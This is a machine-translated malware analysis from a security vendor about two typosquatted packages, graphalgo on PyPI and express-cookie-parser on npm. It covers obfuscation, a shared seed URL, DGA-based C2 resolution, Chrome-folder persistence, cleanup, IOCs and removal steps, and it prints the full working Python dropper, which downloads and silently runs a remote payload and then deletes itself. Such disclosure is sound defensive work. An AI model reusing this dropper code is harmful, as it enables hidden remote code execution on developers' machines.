Xygeni hat koartlyn in soargenwekkend patroan waarnommen yn it lânskip fan oanfallen op software-supply chain yn 2025., dy't ûntstiet oer twa populêre pakketbehearders: PyPI en npmAs ûnderdiel fan ús oanhâldende ynspanningen foar bedrigingsyntelliginsje,Xygeni's Malware Early Warning (MEW) ark identifisearre in dúdlik mar metodologysk ferlykber eksimplaar fan in kwea-aardich pakket dat earder nei in oar register uploaden wie. Dizze saak markearret hoe't bedrigingsakteurs evoluearje en oanfalstechniken opnij brûke yn ekosystemen, foaral troch kweade Python-pakketten en kweade npm-pakketten, wat it risiko fergruttet dat kweade pakketten iepen boarne-leveringsketens ynfiltrearje.
Xygeni's MEW: De oerienkomsten ûntdekke
De MEW-tool fan Xygeni is boud om kweade pakketten te detektearjen en te markearjen, foaral dyjingen dy't keppele binne oan Software Supply Chain Attacks yn 2025, sa gau as se publisearre binne yn iepen boarneregisters. It wurket troch nije pakketten te analysearjen op fertocht gedrach.
Yn dit gefal identifisearre it twa kweade Python-pakketten (graphalgo op PyPI) en kweade npm-pakketten (express-cookie-parser op npm).
Kweade Python- en npm-pakketten yn oanfallen op software-supply chain (2025)
Litte wy de dielde skaaimerken ûndersykje dy't ús warskôgings triggerden:
typosquatting
Se besochten beide populêre besteande pakketten nei te meitsjen.
- grafalgo (PyPI): "Python-pakket foar it meitsjen en manipulearjen fan grafiken en netwurken."Uploaded troch in brûker mei de namme "larrytech" op 13 juny 2025 presintearre dit pakket himsels as in PyPi-alternatyf foar it orizjinele net-kwaadwillige graphalgo-projekt, dat letter omneamd waard ta graphdict.
- ekspres-koekje-parser (npm)Dit pakket imitearre it bekende cookie-parser-pakket, sels in spegelbyld fan syn README.md. Sokke imitaasje is in klassike taktyk om besteand fertrouwen te benutten.
Fertsjustering as earste ferdigeningsline
Beide pakketten ferburgen har kweade koade binnen de orizjinele bestannen. grafalgo, de ferburgen koade waard fûn binnen /utils/load_libraries.py. Yn it gefal fan ekspres-koekje-parser, cookie-loader.min.js befette de ferburgen lading.
Dizze earste laach fan fertsjustering wurdt typysk brûkt om tafallige ynspeksje en statyske analyze te hinderjen. De fertsjustering wie frij simpel: werhelle ZLib-kompresje plus Base64-kodearring. Dit soarte fertsjustering jout dúdlik oan dat de software besiket syn gedrach te ferbergjen. Tegearre mei oar bewiis koe Xygeni MEW hjirtroch de pakketten as potinsjele malware klassifisearje. Tidens de befêstigingsfaze hawwe ús resinsinten daliks in de-obfuskaasjeskript taret dat de dúdlik kwea-aardige dropper-faze iepenbiere.
Mearfase ladinglevering en in dield oarsprongspunt
Beide pakketten funksjonearren as inisjele "droppers", en sette it poadium foar de echte lading. Se dielden in mienskiplike eksterne "sied"bestâns-URL:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Dit identike eksterne siedbestân is in sterke yndikator fan in dielde bedrigingsakteur. Nijsgjirrich is dat de ynhâld fan dit siedbestân ienfâldige omjouwingsfariabelen liket te wêzen (bygelyks JWT_SECRET, PORT), wat ynspeksje mooglik misliedend makket foar syn werklike funksje.
Dynamyske C2-resolúsje mei in DGA
In ferfine taktyk dy't waarnommen wurdt yn dizze kweade pakketten is it gebrûk fan in Domain Generation Algorithm (DGA) om de Command and Control (C2)-tsjinner dynamysk op te lossen. Dizze technyk, dy't faak sjoen wurdt yn avansearre software-oanfallen op 'e supply chain yn 2025, is ôfhinklik fan in SHA256-hash ôflaat fan 'e ynhâld fan it siedbestân, kombineare mei oare hurd kodearre wearden. Dêrtroch feroaret de C2-ynfrastruktuer faak, wêrtroch tradisjonele swarte listing folle minder effektyf wurdt. Yn dit gefal brûkte de npm-fariant in fêste wearde fan 496AAC7E as ûnderdiel fan syn DGA-logika.
Fêstigje Persistinsje
Beide oanfallers besochten in duorsume oanwêzigens op troffen systemen te fêstigjen. Harren strategy bestie út it fuortsmiten fan in bestân, startup.py (foar PyPi) of startup.js (foar npm), yn mienskiplike Google Chrome-brûkersgegevensmappen oer ferskate bestjoeringssystemen (Windows, Linux, macOS).
Opromjen nei útfiering
Om spoaren te minimalisearjen, fierden beide kweade skripts opskjinaksjes út. Dit omfette it wiskjen fan har earste dropperbestannen (load_libraries.py, cookie-loader.min.js) en it oanpassen fan legitime pakketbestannen (__init__.py, index.js) om de ferwizings nei de no wiske komponinten te ferwiderjen.
Yndikatoaren fan kompromis yn kweade Python- en npm-pakketten
- PyPI-pakket: graphalgo (publisearre troch larrytech, 13 juny 2025)
- npm-pakket: express-cookie-parser (spesifyk ferzje 1.4.12)
- Tagong ta dielde sied-URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Oanhâldende bestânsnammen:
startup.py(Python)startup.js(JavaScript) - Mienskiplike oanhâldende paden (ôfhinklik fan OS)Binnen de brûkersgegevensmappen fan Google Chrome (bygelyks,
AppData\Local\Google\Chrome\UserData\Scripts\op Windows,~/.config/google-chrome/Scripts/op Linux, ensfh.).
Hoe kinne jo jo ferdigenje tsjin kweade pakketten yn oanfallen fan software-supply chain yn 2025?
In oanrikkemandearre oanpak foar ûntwikkelders
Dit ynsidint tsjinnet as in weardefolle gefalstúdzje yn it evoluearjende bedrigingslânskip fan oanfallen op software-supply chain yn 2025. It markearret hoe't kweade Python-pakketten en kweade npm-pakketten yn fertroude ekosystemen kinne glide, wêrby't se faak ûntdekking ûntwike oant it te let is. Dêrom binne betide deteksje, tûke ark en proaktive systeemhygiëne no essensjele ûnderdielen fan elke feilige DevOps-workflow. Untwikkelders wurde oanmoedige om it folgjende te beskôgjen:
Ofhinklikheidsbeoardieling
As jo projekten hawwe opnommen grafalgo or ekspres-koekje-parser, soe it ferstannich wêze om troch te gean mei har ferwidering.
- Foar PyPI:
pip uninstall graphalgo - Foar npm:
npm uninstall express-cookie-parser
Systeemhygiëne
Oerwagje in wiidweidige systeemscan út te fieren. It is ek oan te rieden om de gewoane Chrome-brûkersgegevensmappaden manuell te kontrolearjen op ûnferwachte problemen. startup.py or startup.js triemmen.
Proaktive feiligensmaatregels
- Beoardielje nije ôfhinklikhedenStel in routine yn om nije pakketten foar yntegraasje yngeand te evaluearjen, mei fokus op dy fan ûnbekende útjouwers.
- Yntegrearje befeiligingsarkTools lykas Xygeni's MEW, tegearre mei oare softwarekomposysje-analyze (SCA) oplossingen, kinne in krityske laach fan ferdigening leverje troch fertocht gedrach en kwetsberheden te identifisearjen.
- Minste privileezjeIt operearjen fan ûntwikkelingsomjouwings mei it prinsipe fan minste privileezjes kin helpe om de potinsjele ynfloed fan in kompromis te beheinen.
- Netwurk AwarenessIt kontrolearjen fan útgeande netwurkferkear op ungewoane ferbiningen kin soms DGA-generearre C2-kommunikaasje oan it ljocht bringe.
Key Components fan load_libraries.py (fan grafalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Behannelet it opheljen fan bestannen fan oantsjutte URL's.run_process(): Fiert eksterne Python-skripts op in ûnôfhinklike manier út, wêrby't de útfier ûnderdrukt wurdt om diskreet te bliuwen.get_output_file_path(): Bepaalt de ideale systeemlokaasje foar it persistente startup.py-bestân.remove_self(): Orkestreart it opromjen nei útfiering fan 'e earste kwea-aardige bestannen en pakketwizigingen.simple_shift_encrypt()/simple_shift_decrypt()Oanpaste kryptografyske funksjes foar it ferbergjen fan kommunikaasjekanalen, krúsjaal foar de DGA-ymplemintaasje.load_libraries(): De sintrale funksje dy't it heule mearfazeproses koördinearret, fan 'e earste download oant de definitive útfiering en opromjen fan 'e lading.
aftermath
Lykas by oare potinsjeel kweade pakketten dy't troch MEW identifisearre binne, beskerme de ôfhinklikheidsfirewall fuortendaliks brûkers dy't dizze kweade pakketten yn har ôfhinklikheden opnimme soene. Nei befêstiging folgen wy de notifikaasjeprosedueres foar beide registers, dy't nei resinsje beide pakketten fuorthelle hawwe.







